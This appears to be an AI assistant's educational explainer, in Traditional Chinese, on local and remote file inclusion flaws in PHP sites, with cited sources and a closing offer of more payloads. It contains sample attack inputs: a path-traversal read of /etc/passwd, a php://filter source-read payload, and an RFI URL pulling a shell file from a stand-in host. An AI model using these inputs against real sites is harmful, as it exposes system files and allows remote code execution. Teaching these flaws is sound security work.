LFI(Local File Inclusion)就是「本地檔案包含」,RFI(Remote File Inclusion)則是「遠程檔案包含」。
簡單說,它們都是利用網站原本用來載入檔案的功能來搞事情,只不過LFI是讀自己的伺服器上的檔案,RFI則是直接把外部網站的檔案塞進來執行。
常見狀況就是網站有個參數讓你決定要載入哪個檔案,像這樣:
http://example.com/index.php?page=header.php
如果工程師沒把輸入檢查做好,攻擊者就可以把參數改成:
http://example.com/index.php?page=../../../../etc/passwd
這樣就偷偷讀到了Linux很重要的帳號檔案 /etc/passwd
,資料瞬間外洩!
?page=file1.php
。?page=../../../../etc/passwd
。php://filter/read=convert.base64-encode/resource=檔案名
來讀原始碼。?page=http://evil.com/shell.txt
這些漏洞有一個共通點:都跟「輸入沒檢查」有關。
市面上很多弱點測試機(像DVWA、bWAPP)都有LFI、RFI題目。
實際操作你會發現,一個小小輸入框或參數沒檢查,攻擊者就能翻箱倒櫃把伺服器裡的東西抓出來,甚至用RFI遠端執行一大堆邪惡指令!
所以,平常開發,寧願讓用戶抱怨"只能選這幾個檔案"也不要省那點麻煩,安全真的很重要!
保護好你的檔案,就是保護你的網站和用戶。
這樣寫是不是更容易懂?有需要實際payload和測試步驟補充嗎?
還是想要加上DVWA實機練習也可以喔!
參考:[2][4][1][3]
來源
[1] LFI、RFI、PHP封装协议安全问题学习 - 博客园 https://www.cnblogs.com/LittleHann/p/3665062.html
[2] 本地文件包含漏洞 - iT 邦幫忙::一起幫忙解決難題,拯救IT 人的一天 https://ithelp.ithome.com.tw/articles/10160602
[3] Local File Inclusion (LFI) 練習– SecTools.tw 2.0 https://sectools.tw/archives/207
[4] DVWA(Damn Vulnerable Web Application)- File Inclusion https://lonelysec.com/dvwa%EF%BC%88damn-vulnerable-web-application%EF%BC%89-file-inclusion/
[5] Dvwa漏洞之local file inclusion 本地文件包含原创 - CSDN博客 https://blog.csdn.net/quandaquan/article/details/124081832
[6] 新手渗透测试训练营——文件上传与文件包含 - Freebuf https://www.freebuf.com/articles/network/185015.html
[7] 滲透測試重新打底(3.5)--論Web入侵之File inclusion漏洞 - PT Note https://pt-note.coderbridge.io/2023/09/22/oscp-3-5-LFI-and-RFI/
[8] web渗透:文件包含漏洞原创 - CSDN博客 https://blog.csdn.net/weixin_68416970/article/details/141648923